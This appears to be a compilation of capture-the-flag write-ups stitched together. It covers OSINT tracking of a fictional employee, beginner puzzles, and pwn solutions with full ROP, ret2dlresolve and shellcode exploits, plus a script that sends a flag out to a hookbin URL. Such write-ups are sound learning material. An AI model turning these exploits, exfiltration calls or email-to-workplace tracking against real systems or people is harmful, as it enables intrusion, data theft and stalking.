The hardest part for me in this challenge was creating a good word list to use. I initially used [CeWL](https://github.com/digininja/CeWL) to compile a list of words on the website and github, then turned them to lowercase and removed duplicates. The correct password was in here, but the wordlist was 30k+ words and hashcat would not have finished in time.
I looked closer at the `security-evaluation-workflow` in the github and found a lot of strange words that did not exist like in “We strive to achieve *minivivi* and *clainebookahl* through this”. I figured one of these made up words would be the password, and compiled a wordlist of the 72 of them. Using hashcat, we get the password is `craccurrelss` in 4 mins, 35 seconds.
Using Keepass, we can open the .kdbx file with `craccurrelss` and get access to the passwords. After messing around for a bit I found that performing auto-type on an entry outputs the flag.
https://user-images.githubusercontent.com/74334127/166119498-51880a70-baac-4c4a-ad38-df6661b023af.mp4
flag: `flag{9a59bc85ebf02d5694d4b517143efba6}`
## Keeber 5Points: **50** Solves: **573**
Challenge Description: The ex-employee in focus made other mistakes while using the company's GitHub. All employees were supposed to commit code using the [email protected] email assigned to them. They made some commits without following this practice. Find the personal email of this employee through GitHub. The flag is in regular format.
### ApproachThe challenge description tells us that we should look in the company’s GitHub to find the email of Tiffany. My initial thought is that she may have made a commit on another public GitHub repo. However, the Keeber repository is the only public one she has made commits to.
I then did some research to see if there was a way to get the email of an account through GitHub and came across [this article](https://www.nymeria.io/blog/how-to-manually-find-email-addresses-for-github-users). Following these steps, I went through each of Tiffany’s commits in the GitHub repo adding `.patch` to all of the urls. Eventually, we get to [this commit](https://github.com/keebersecuritygroup/security-evaluation-workflow/commit/b25ed7f5aa72f88c0145a3832012546360c2ffc2) and get the following output when adding `.patch`:
```From b25ed7f5aa72f88c0145a3832012546360c2ffc2 Mon Sep 17 00:00:00 2001From: flag{2c90416c24a91a9e1eb18168697e8ff5} <[email protected]>Date: Wed, 20 Apr 2022 22:46:09 -0400Subject: [PATCH] started code_reviews.txt
--- code_reviews.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+)...```
flag: `flag{2c90416c24a91a9e1eb18168697e8ff5}`
## Keeber 6Points: **368** Solves: **164**
Challenge Description: After all of the damage the ex-employee's mistakes caused to the company, the Keeber Security Group is suing them for negligence! In order to file a proper lawsuit, we need to know where they are so someone can go and serve them. Can you find the ex-employee’s new workplace? The flag is in regular format, and can be found in a recent yelp review of their new workplace.
(Hint: You will need to pivot off of the email found in the past challenge!)
### ApproachThe hint tells us that we need to use `[email protected]` to eventually find this new workplace. I tried to use [epieos](https://epieos.com/) to get more information. This only gives us her name and that she has a GitHub account, which we already knew. Since we are trying to find their new workplace, I figured they may have a social media account that would allow us to find this place (similar to a recent [OSINT](https://github.com/drewd314/WolvSec-CTF-2022-Writeups/blob/main/OSINT/Where%20in%20the%20world.md) I made for WolvSecCon). Linkedin produced no results, and I thought Instagram was not either. None of the Tiffany Douglas accounts on instagram seemed to be her, but searching `tif.hearts.science` we find an account that is hers.
I started with this first post to find her work location. We can see a Google watermark on it, so I set out to find where this could be on Google Maps. On Tiffany's GitHub profile, she states that she is from Maine. This can also be deduced from the 207 area code on Keeber's website. Searching on the coast of Google Maps, we can easily see ferry routes denoted by blue dashed lines. I eliminated the minor cities in Maine and figured it must be Portland, which would also be why she called it “the city.”
After scanning these ports I eventually came across [this one](https://www.google.com/maps/@43.6568766,-70.2480553,3a,75y,178.19h,87.69t/data=!3m7!1e1!3m5!1seNEkVm0dTjxhVTHSt2B5Qw!2e0!5s20151101T000000!7i16384!8i8192) that looked like the image, and sure enough if we turn the date back to 2015 we see the same image that was on her instagram.
From her first instagram post I see that there is a courtyard at the place she works at, so I start scanning for courtyards in Portland on Google Maps to see if any of them had similar photospheres. This was not getting me anywhere, so I looked more at her Instagram and figured she works at a hotel from the “but the pool is indoors” meme. In hindsight, the bedding Instagram posts were also indications of this. I searched for hotels in Portland and found one with a courtyard in satellite mode.
Searching [this hotel on yelp](https://www.yelp.com/biz/residence-inn-by-marriott-portland-downtown-waterfront-portland), we find Tiffany’s review with the flag in it.

flag: `flag{0d707179f4c993c5eb3ba9becfb046034}`
## Keeber 7Points: **474** Solves: **74**
Challenge Description: Multiple employees have gotten strange phishing emails from the same phishing scheme. Use the email corresponding to the phishing email to find the true identity of the scammer. The flag is in regular format.
(Note: This challenge can be solved without paying for anything!)
[keeber_7.pdf](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/files/8599678/keeber_7.pdf)
### ApproachThankfully, Princess of the Ugbo Kingdom Ayofemi Akinruntan’s valiant attempt to get Keeber to donate to him and Sir. Beiber did not trick them. However, they did leave their email `[email protected]` which we may be able to use to figure out whoever sent this.
I thought about doing forensics work on the pdf, but since this was an OSINT challenge and the description said *use the email* I didn’t bother doing anything past looking at the metadata, to which there was nothing. The note saying we did not need to pay for any OSINT tool hinted that we should be able to use a public one, so I went back to [epieos](https://epieos.com/). This gave us the information that this gmail is registered with the name `Issac Anderson` and with [holehe](https://github.com/megadose/holehe) we know that they have a Myspace account created with this email.
I looked for a while to see if there was a way to find a Myspace account with just an email, but could not find anything. I then searched for Issac Anderson on Myspace and checked the ones that showed up but did not see a flag. I thought for a bit that maybe holehe was wrong or someone else registered an account with that email, but looking at the pdf again I figured the mention of Justin Bieber was a hint that we should in fact be looking for a Myspace account, since people like to share music there. I then realized I did not look through all the Issac Andersons, of which many, many results showed up.
I went through opening all of them and quickly looked through to see if I found the right one. Sure enough, the flag showed up on one of them.
flag: `flag{4a7e2fcd7f85a315a3914197c8a20f0d}`
## Keeber 8Points: **482** Solves: **62**
Challenge Description: Despite all of the time we spend teaching people about phishing, someone at Keeber fell for one! Maria responded to the email and sent some of her personal information. Pivot off of what you found in the previous challenge to find where Maria's personal information was posted. The flag is in regular format.
### ApproachFrom the Myspace account in `Keeber 7` the url leaves us with their username `cereal_lover1990`. The [Sherlock tool](https://github.com/sherlock-project/sherlock) is great for finding accounts connected to usernames.

A lot of the results that showed up like CapFriendly show up for most searches but don’t actually have an account linked to that username. However, Pastebin doesn’t normally show up, and that seems like a great place to post personal information. Going to the *Chump list* on [their pastebin](https://pastebin.com/u/cereal_lover1990), we can find the flag in Maria’s personal information.

flag: `flag{70b5a5d461d8a9c5529a66fa018ba0d0}`
Seems like we’re ready for that interview now ;) |
For this challenge I used the tool [Cyberchef](https://gchq.github.io/CyberChef/).
Cyberchef recognises the ciphertext to be **morse code**, the title being a reference to Samuel Morse, the creator of morse code.
After decoding the ciphertext, we get the flag: SAH{I_S33_Y0U_AR3_A_M0RSE_C0DE_EXP3RT} |
POD RACING - Into the Shell 10
So you’ve chosen the Pod Racing Machine! Log into this machine using ssh with the login below.
IP address: 64.227.11.108 User: kermit Password: ArcadeHack2022
_You'll need this info for future Linux challenges_
**After you successfully login, what is the flag you see?**
_Flag format: XXX{XXXXXXXXXXXXXXXXXXX}_
1. Learn how ssh works, how do you connect to an ssh server through linux/windows2. IP address: 64.227.11.108 User: kermit Password: ArcadeHack2022 and use the ssh command - when you connect, the flag is...
[email protected]
SAH{Conn3ction_Succ3sful} |
POD RACING - Reading Secrets 10
Use a command to read the contents of the hidden file you found.
**What was the cheat code you found?**
_Flag format: XXX{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}_
1. How do you open special files in Linux?2. When you found the .cheatcodes.txt, you need to use the specific cat command.3. Open the file in the students and home directory, and when you do...
SAH{up_up_down_down_left_right_b_a_start} |
Opening the text file with any text editor and turning off word-wrap, we see the flag written out clearly as an ASCII banner.
The flag is: SAH{ascii_banners_are_just_so_cool_i_love_them_so_much} |
CERULEAN EXPRESS - Weird Text 20
This text file is just a bunch of gibberish. Can you get the computer to interpret it correctly?
Change the end of the file to .jpg- We Know this by the JPEG header if you open it in either a hex, or text editor
Flag:SAH{f1le_form4ts_ayy} |
## Question
* Author: Addison* It's trivial, but not! There are no other files in the target than this binary and the flag at /pwn/flag.txt, so you can't use anything else!* SNI: one-and-done*[one-and-done](https://github.com/tj-oconnor/ctf-writeups/tree/main/tamu_ctf/one-and-done/one-and-done)
## Solution
The problem says there are no other files on the target. Given the ```syscall, ret``` gadget in the binary, we can just make syscalls to ```read``` in the ```/pwn/flag.txt\0```, then ```open``` the file and ```sendfile``` to standard out. The ```read``` and ```open``` syscalls only need three arguments, so we can populate the arguments with a ROP chain for each call. The ```sendfile``` needs four arguments. Since we don't have a ```pop r10, ret``` like gadget, we'll use a SROP chain to populate the arguments for the ```sendfile``` syscall.
```pythonfrom pwn import *import time
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''break *0x401d89continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote("tamuctf.com", 443, ssl=True, sni="one-and-done") else: return process(e.path)
p = start()
pop_rax = r.find_gadget(['pop rax','ret'])[0]pop_rdi = r.find_gadget(['pop rdi','ret'])[0]pop_rsi = r.find_gadget(['pop rsi','ret'])[0]pop_rdx = r.find_gadget(['pop rdx','ret'])[0]
syscall_ret = 0x401d89 writeable_mem = 0x4053d8
def pause(): time.sleep(1)
def rop_read(): '''call read(rdi=0x0,rsi=writeable_mem,rdx=0x20)''' chain = p64(pop_rax) chain += p64(constants.SYS_read) chain += p64(pop_rdi) chain += p64(0x0) chain += p64(pop_rsi) chain += p64(writeable_mem) chain += p64(pop_rdx) chain += p64(0x20) chain += p64(syscall_ret) chain += p64(e.sym['main']) return chain
def rop_open(): ''' call open(rdi=writeable_mem, rsi=0x0, rdx=0x0)''' chain = p64(pop_rax) chain += p64(constants.SYS_open) chain += p64(pop_rdi) chain += p64(writeable_mem) chain += p64(pop_rsi) chain += p64(0x0) chain += p64(pop_rdx) chain += p64(0x0) chain += p64(syscall_ret) chain += p64(e.sym['main']) return chain
def srop_sendfile(): '''call sendfile(rdi=0x1, rsi=0x3, rdx=0x0, r10=0x7fffffff)''' chain = p64(pop_rax) chain += p64(0xf) chain += p64(syscall_ret)
frame = SigreturnFrame(arch="amd64", kernel="amd64") frame.rax = constants.SYS_sendfile frame.rdi = 0x1 frame.rsi = 0x3 # fd is static frame.rdx = 0x0 frame.r10 = 0x7fffffff frame.rip = syscall_ret
return chain+bytes(frame)
pad = cyclic(296)
def sys_read(): p.recvuntil(b"pwn me pls") log.info("Sending Stage1: ROP Read()") p.sendline(pad+rop_read())
def pwn_flag(): pause() log.info("Sending Bytes: /pwn/flag.txt\\0") p.sendline(b"/pwn/flag.txt\0")
def sys_open(): pause() log.info("Sending Stage2: ROP Open()") p.sendline(pad+rop_open())
def sys_sendfile(): pause() log.info("Sending Stage3: SROP SendFile") p.sendline(pad+srop_sendfile())
sys_read()pwn_flag()sys_open()sys_sendfile()
p.interactive()```
Running it returns the flag
```python3 pwn-one.py BIN=./one-and-done REMOTE[*] '/root/workspace/tamu-ctf/one-and-done/one-and-done' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 48 cached gadgets for './one-and-done'[+] Opening connection to tamuctf.com on port 443: Done[*] Sending Stage1: ROP Read()[*] Sending Bytes: /pwn/flag.txt\0[*] Sending Stage2: ROP Open()[*] Sending Stage3: SROP SendFile[*] Switching to interactive mode
gigem{trivial_but_its_static} ``` |
POD RACING - Finding Hidden Secrets 10
You’re in. It’s time to find secrets that may have been hidden. You can use a command to find hidden files and folders.
**What is the hidden file that you find?**
_Flag format: XXX{.XXXXXXXXXX.XXX}_
1. Do some research online. How would you look at ALL files in an acting directory?2. ls -la! Use that on the linux shell...
SAH{.cheat_codes.txt} |
CERULEAN EXPRESS - Meta 20
There’s something hidden in this image file.
Use http://exif.regex.info/exif.cgi to view the Metadata and check the Copyright
Flag: w0ah_you're_s0_sm4rt |
POD RACING - Zipped Up 10
You've just found a file that could be useful, but it doesn't want to open up for you.
[forensics1.zip](https://cybher.ctfd.io/files/4c6b4ce7c80f7e8bf5306167fc693bef/forensics1.zip)
**Can you figure out how to open the file and get the flag?**
_Flag format: XXX{XXXXXXXXXXXXXXXX}_
I extracted, then was done lol
SAH{z1p_extr@ct10n_ftw} |
# POD RACING - I Require A Tug10
After opening the folder, you see an image of eight flags and a password-protected file. You remember seeing the yellow flag with the black circle on the cover of a nautical magazine.
What do the flags mean?
Flag format: XXX{XXXXXXXX}
1. Put the flags into Google Image Search2. Find the proper translation, which should be the Navy Flag to text translator3. Translate to Text.
TranslationSAH{MAR71M3} |
## POD RACING - Quick Response Code
### 10
As you go through the folders, you find images with black and white squares. They probably have a message of some sort in them.
**Can you figure out what the message is?**
_Flag Format: XXX{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}_
1. Scan all the QR codes until you get the anwser :)
Flag - IDK you should try it though :) |
Anakin 10
What does Darth Vader hate because it gets everywhere, among other things?
1. For this one, you can google, but if you've ever seen the movie, you know that Anakin, a young Jedi turned Sith really really hates sand.
SAH{sand} |
Discord 20
What's the flag?
Note: It has nothing to do with the Discord bots
In the Discord, above the main chat you see "@Staff and @CTF for help" over and over and over again, so if you look at the bottom youll see the flag.
Not going to give it here, but join the Discord! |
Prizes 100IYKYK
If you take a look under the rasberry pi, you can see a phone number, it is barely visible, but if you give it a call, an automated tone will anwser stating:
The Flag is The devils in the details. *BEEEEP |
I recently attended Simulations Arcade Hack CTF! It was an individual competition that was designed for beginners, but I wanted some challenges so I decided to play.I managed to get first blood on this challenge and was also the only participant who succefully solved it. It boiled down to getting a copy of the ``.wav`` file withrtmpdump and viewing the waveform to see that it is a binary encoding.# Listen Up! (1 solve, 100 points)## DescriptionCerby seems to like listening to radio from his website a lot, but we cannot figure out why. Do you have any idea what he is up to?
Notes: Don't take everything at surface value. Maybe the listening doesn't matter either. Also save this challenge for last to save you trouble :)
## SolutionSo the context of this challenge is a follow up to one of the previous OSINT challenges in the competition. In that challenge you find Cerby's github account and lookat the commit history to find the flag. There is another tidbit of information in the commit history though. Cerby makes a change to the ``README.md`` file that says``new site: cerby.space``Upon visiting this site there is a simple message displayed:``rtmp://64.227.11.108/live/numbers``
I had not seen this type of address before so I looked up ``rtmp`` on google and visited this [wikipedia](https://en.wikipedia.org/wiki/Real-Time_Messaging_Protocol) article.Browsing through the article we find the ``software implementations`` section which reads ``The open-source RTMP client command-line tool rtmpdump is designed to play back or save to disk the full RTMP stream, including the RTMPE protocol Adobe uses for encryption.``
Great! This sounds perfect! With ``sudo apt install rtmpdump`` we can get this on our ubuntu VM. Next I ran ``rtmpdump -h`` to get the usage message:```RTMPDump v2.4(c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPLrtmpdump: This program dumps the media content streamed over RTMP.--help|-h Prints this help screen.--url|-i url URL with options included (e.g. rtmp://host[:port]/path swfUrl=url tcUrl=url)--rtmp|-r url URL (e.g. rtmp://host[:port]/path)--host|-n hostname Overrides the hostname in the rtmp url--port|-c port Overrides the port in the rtmp url--socks|-S host:port Use the specified SOCKS proxy--protocol|-l num Overrides the protocol in the rtmp url (0 - RTMP, 2 - RTMPE)--playpath|-y path Overrides the playpath parsed from rtmp url--playlist|-Y Set playlist before playing--swfUrl|-s url URL to player swf file--tcUrl|-t url URL to played stream (default: "rtmp://host[:port]/app")--pageUrl|-p url Web URL of played programme--app|-a app Name of target app on server--swfhash|-w hexstring SHA256 hash of the decompressed SWF file (32 bytes)--swfsize|-x num Size of the decompressed SWF file, required for SWFVerification--swfVfy|-W url URL to player swf file, compute hash/size automatically--swfAge|-X days Number of days to use cached SWF hash before refreshing--auth|-u string Authentication string to be appended to the connect string--conn|-C type:data Arbitrary AMF data to be appended to the connect string B:boolean(0|1), S:string, N:number, O:object-flag(0|1), Z:(null), NB:name:boolean, NS:name:string, NN:name:number--flashVer|-f string Flash version string (default: "LNX 10,0,32,18")--live|-v Save a live stream, no --resume (seeking) of live streams possible--subscribe|-d string Stream name to subscribe to (otherwise defaults to playpath if live is specifed)--realtime|-R Don't attempt to speed up download via the Pause/Unpause BUFX hack--flv|-o string FLV output file name, if the file name is - print stream to stdout--resume|-e Resume a partial RTMP download--timeout|-m num Timeout connection num seconds (default: 30)--start|-A num Start at num seconds into stream (not valid when using --live)--stop|-B num Stop at num seconds into stream--token|-T key Key for SecureToken response--jtv|-j JSON Authentication token for Justin.tv legacy servers--hashes|-# Display progress with hashes, not with the byte counter--buffer|-b Buffer time in milliseconds (default: 36000000)--skip|-k num Skip num keyframes when looking for last keyframe to resume from. Useful if resume fails (default: 0)--quiet|-q Suppresses all command output.--verbose|-V Verbose command output.--debug|-z Debug level command output.If you don't pass parameters for swfUrl, pageUrl, or auth these properties will not be included in the connect packet.```This line seems to match what we need:```--rtmp|-r url URL (e.g. rtmp://host[:port]/path)```Experimenting with the command I could see that it just dumps the recieved bytes to ``stdout``. I redirected the output to a file and saved it as ``flag.wav``. This makes the final command ``rtmpdump -r rtmp://64.227.11.108/live/numbers > ./flag.wav``.I let this run until it momentarily stopped recieving input which I assumed was the end of the transmition. This assumption was correct.
I played the file and didn't really hear anything. As is typical with audio steg challenges, the next step is to open the file in a waveform viewer for more carefullanalysis. I use [audacity](https://www.audacityteam.org/download/) for this type of thing. This is what we get:
It doesn't look like much at first but it's always a good idea to zoom in to look at the details of the wave form:
This tells a different story. I noticed some key things about this waveform:* There are two different audio pulses * Short * Tall* There is a small gap in between groups* These pulses are in groups of 8
This all fits with binary encoding! For those unfamiliar, characters in the computer are represented in memory using sets of binary bits (1s and 0s). There are256 different characters that can be represented this way, and because of this, we need a set of 8 bits to represent one character. For example, the ``A`` characteris ``01000001`` in binary. If we enterpret the small pulses as 0's and the big ones as 1's, then we get sets of 8 bits, each encoding a character. Starting from leftto right we get ``01010011 01000001 01001000``. This just so happens to translate to ``SAH`` which is our flag prefix!
I use [CyberChef](https://gchq.github.io/CyberChef/) for quick online encoding and decoding like this so typing the rest of our binary data there gives us the flag!
## Flag``SAH{SONIC_SECRETS}`` |
Similar to LOLD2, but now every time you pass your lol script to nc session you would only get a static response back, no real feedback.I was stuck on this challenge for a bit but then I thought about using a web request as a data exfiltration tool. Took me a few minutes to come up with the correct syntax but finally I was able to put this together.
Basically, we are going to read the flag.txt and create a new file called out.txt with the flag inside it. Then we are going to encode the text in out.txt with base64 and make a web request to hookbin where I can monitor the incoming requests and see the base64 encoded data come in. After that I use Cyberchef to decode the data and get the flag.
**import os** - was used so that I can send system command.
**import urllib2** - was used so that I can make web requests to a website like '**hookbin**' where I can monitor all incoming requests, basically I was exfiltration base64 encoded data to a hookbin website. I was able to then review the data and decode it using **Cyberchef**.
**import base64** - was used to encode text so that I can make clean web requests.
```GIMME osGIMME urllib2GIMME base64
cmd CAN HAS 'cat flag.txt > out.txt'
os OWN system WIT cmd
RF CAN HAS open WIT 'out.txt'!RR CAN HAS RF OWN read THING
MB CAN HAS file OWN read THING OWN encode WIT 'ascii'!B64 CAN HAS base64 OWN b64encode WIT MB
urllib2 OWN urlopen WIT 'https://hookb.in/oXkRWwzQ0bhBnPZZXM8y?flag=' ALONG WITH B64!``` |
POD RACING - Sooo Hidden 10
A message is hidden somewhere in this picture. Look around and see if you can find it.
Turn up the brightness, and find the word!
SAH{invisible} |
# NahamCon CTF 2022
## Babysteps
> Become a baby! Take your first steps and jump around with BABY SIMULATOR 9000! >> Author: @JohnHammond#6971>> [`babysteps`](babysteps) [`babysteps.c`](babysteps.c)
Tags: _pwn_ _x86_ _bof_ _remote-shell_ _ret2dlresolve_
## Summary
Embryo pwn featuring `gets`.
From `man gets`:
```BUGS
Never use gets(). Because it is impossible to tell without knowing the datain advance how many characters gets() will read, and because gets() willcontinue to store characters past the end of the buffer, it is extremelydangerous to use. It has been used to break computer security. Use fgets()instead.```
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
No mitigations, basically choose your own adventure.
> I went with _ret2dlresolve_ because I'm lazy and the code is identical for most `gets` challenges.
### Ghidra Decompile
```cvoid ask_baby_name(void){ char local_1c [20]; puts("First, what is your baby name?"); gets(local_1c); return;}```
`gets` is the vulnerability and given no constraints there are numerous ways to solve this.
`local_1c` is `0x1c` bytes from the base of the stack frame (right above the return address `main` will _return_ to on `return`). To exploit just write out `0x1c` bytes of garbage followed by your exploit.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./babysteps', checksec=False)
rop = ROP(binary)dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])
rop.gets(dl.data_addr)rop.ret2dlresolve(dl)
if args.REMOTE: p = remote('challenge.nahamcon.com', 31127)else: p = process(binary.path)
payload = b''payload += 0x1c * b'A'payload += rop.chain()payload += b'\n'payload += dl.payload
p.sendlineafter(b'name?\n',payload)p.interactive()```
Google _ret2dlresolve_ or read some of my other write ups for details.
Output:
```bash# ./exploit.py REMOTE=1[*] Loaded 10 cached gadgets for './babysteps'[+] Opening connection to challenge.nahamcon.com on port 31127: Done[*] Switching to interactive mode$ cat flag.txtflag{7d4ce4594f7511f8d7d6d0b1edd1a162}``` |
POD RACING - Changing Folders 10
If you wanted to find more secrets, you would have to change the folder you're in using the terminal.
**What is the command used to change directories?**
_Flag format: XXX{XX}_
1. Do some research online. How would you go backward on linux?2. Cd changes the acting directory, therefore...
SAH{cd} |
# NahamCon CTF 2022
## Stackless
> Oh no my stack!!!! >> Author: @M_alpha#3534>> [`stackless.c`](stackless.c) [`stackless`](stackless) [`Makefile`](Makefile) [`Dockerfile`](Dockerfile)
Tags: _pwn_ _x86-64_ _shellcode_ _seccomp_
## Summary
Classic shellcode runner constrained by seccomp with _common_ registers reset for the lulz.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
All mitigations in place. Finally.
> BTW, you get all this sweet sweet security for free with `gcc -O2`.
### Source Included
```c signal(SIGALRM, timeout); alarm(60); sandbox();
__asm__ volatile (".intel_syntax noprefix\n" "mov r15, %[addr]\n" "xor rax, rax\n" "xor rbx, rbx\n" "xor rcx, rcx\n" "xor rdx, rdx\n" "xor rsp, rsp\n" "xor rbp, rbp\n" "xor rsi, rsi\n" "xor rdi, rdi\n" "xor r8, r8\n" "xor r9, r9\n" "xor r10, r10\n" "xor r11, r11\n" "xor r12, r12\n" "xor r13, r13\n" "xor r14, r14\n" "jmp r15\n" ".att_syntax"::[addr] "r"(code));```
Since this is just a standard shellcode runner, I'm not going to include the entire source here--just submit shellcode and it runs it for you; simple as that.
Above are the constraints.
First, `sandbox` is called to setup a seccomp filter. A more compact way to examine this is with `seccomp-tools`:
```bash# seccomp-tools dump ./stacklessShellcode length1Shellcode1 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012 0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012 0007: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0012 0008: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0012 0009: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0012 0010: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0012 0011: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL```
We're limited to `read`, `write`, `open`, `close`, `exit`, and `exit_group` syscalls.
The second constraint is actually more of a dick move--the _common_ registers are reset (zeroed). Including `r15` since a 3-byte instruction is prepended to your submitted shellcode to reset `r15` before your code starts to run.
With `rsp` zeroed and PIE enabled, we have no idea where in memory what we can use as a scratchpad to read in and emit the flag from.
However, our lulzy challenge author was not thorough and left a number of _uncommon_ registered set. From `gdb` use `i all-r`.
`xmm0` looked most promising:
```gef➤ i r xmm0xmm0 { v4_float = {0x41000000, 0x0, 0x0, 0x0}, v2_double = {0x0, 0x0}, v16_int8 = {0x10, 0xa4, 0x55, 0x55, 0x55, 0x55, 0x0, 0x0, 0xe0, 0xab, 0xf8, 0xf7, 0xff, 0x7f, 0x0, 0x0}, v8_int16 = {0xa410, 0x5555, 0x5555, 0x0, 0xabe0, 0xf7f8, 0x7fff, 0x0}, v4_int32 = {0x5555a410, 0x5555, 0xf7f8abe0, 0x7fff}, v2_int64 = {0x55555555a410, 0x7ffff7f8abe0}, uint128 = 0x7ffff7f8abe0000055555555a410}```
Specifically `v2_int64 = {0x55555555a410, 0x7ffff7f8abe0},`.
Comparing to my memory map:
```gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]```
It looks like that first location is in the next page after the heap and the heap is `rw`--exactly what we need for a scratchpad.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./stackless', checksec=False)
if args.REMOTE: p = remote('challenge.nahamcon.com', 30375)else: p = process(binary.path)
shellcode = asm(f'''movq r15, xmm0sub r15, 0x1000
lea rdi, [rip+flag]mov rax, {constants.SYS_open}syscall
mov rdi, raxmov rsi, r15mov rdx, 100mov rax, {constants.SYS_read}syscall
mov rdx, raxmov rdi, {constants.STDOUT_FILENO}mov rax, {constants.SYS_write}syscallhlt
flag: .asciz "flag.txt"''')
if not args.REMOTE: print(disasm(shellcode))
p.sendlineafter(b'length\n', str(len(shellcode)).encode())p.sendlineafter(b'code\n', shellcode)flag = p.recvline().strip().decode()p.close()print(flag)```
The `shellcode` should be fairly obvious:
1. Get the location from `xmm0` that is in the page after the heap and subtract `0x1000` from it.2. Open `flag.txt`3. Read `flag.txt` into heap.4. Write to stdout.
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to challenge.nahamcon.com on port 30831: Done[*] Closed connection to challenge.nahamcon.com port 30831flag{2e5016f202506a14de5e8d2c7285adfa}``` |
# NahamCon CTF 2022
## Riscky
> Don't segfault or it's game over!>> Author: @M_alpha#3534>> [`riscky.zip`](riscky.zip)
Tags: _pwn_ _riscv_ _riscv64_ _shellcode_ _bof_
## Summary
Unconstrained RISC-V binary featuring `gets`.
Newskool _gets_ oldskooled.
## Analysis
### Checksec
``` Arch: em_riscv-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000) RWX: Has RWX segments```
No mitigations in place, choose your own adventure.
### Ghidra Decompile
```cundefined8 main(void){ char acStack520 [500]; undefined4 local_14; local_14 = 0; setbuf((FILE *)stdin,(char *)0x0); setbuf((FILE *)stdout,(char *)0x0); signal(0xb,failed); puts("Don\'t miss!"); printf("> "); gets(acStack520); return 0;}```
Yeah, `gets`--there's your problem. Also no mitigations or ASLR.
If this were `x86_64`, I'd tell you that `acStack520` is `520` bytes from the end of the stackframe, IOW, write out `520` bytes of garbage then your ROP chain. However RISC-V does not `push` a return address to the stack on `call`. RISC-V does not _push_ or _pop_. RISC-V simply allocates a stackframe on `call` and the return address is _in_ the stackframe. Just remember to subtract 8 (if 64bit), IOW, write out `520 - 8` bytes of garbage and then your ROP chain.
### Let's go shopping!
We're going to need some tools to pull off this exploit:
```bashdpkg --add-architecture riscv64apt-get updateapt-get -qy install build-essential gdb-multiarchapt-get -qy install binutils-riscv64-linux-gnu binutils-riscv64-unknown-elfapt-get -qy install qemu-system e2tools qemu-user qemu-user-binfmt "binfmt*"apt-get -qy install qemu-user-static```
> The above may not be 100% accurate, I already have a container I use for pwn, so I just pulled out the commands from my `Dockerfile` I thought you'd need.
We'll need Docker as well. I'm using Docker for MacOS.
We'll also need some shellcode; this was the first Google hit: [http://shell-storm.org/shellcode/files/shellcode-908.php](http://shell-storm.org/shellcode/files/shellcode-908.php).
### Prep container for remote debugging
After extracting `riscky.zip` edit `start.sh` and add `-g 9000`, e.g.:
```bash#!/bin/sh
su challenge -c /bin/sh -c '/usr/bin/qemu-riscv64 -g 9000 /riscky'```
Then create a `flag.txt` file, e.g.:
```bashecho flag{flag} >flag.txt```
Finally, build and run the container:
```bashdocker build --no-cache -t riscky .docker run --rm -d --name riscky -p 9000:9000 -p 9999:9999 riscky```
### Locate the `gets` buffer
To start `riscky` executing, just `nc localhost 9999`, then from `gdb` in another terminal type:
```file risckyset sysroot /usr/riscv64-linux-gnu/target remote gateway.docker.internal:9000```
> `gateway.docker.internal` is a MacOS Docker thing, if you're on Linux, it's probably just `localhost`.
If all went well, and if you're using something like GEF, you should see something like this:

Next disassemble `main` and set a breakpoint _after_ `gets`, then continue:
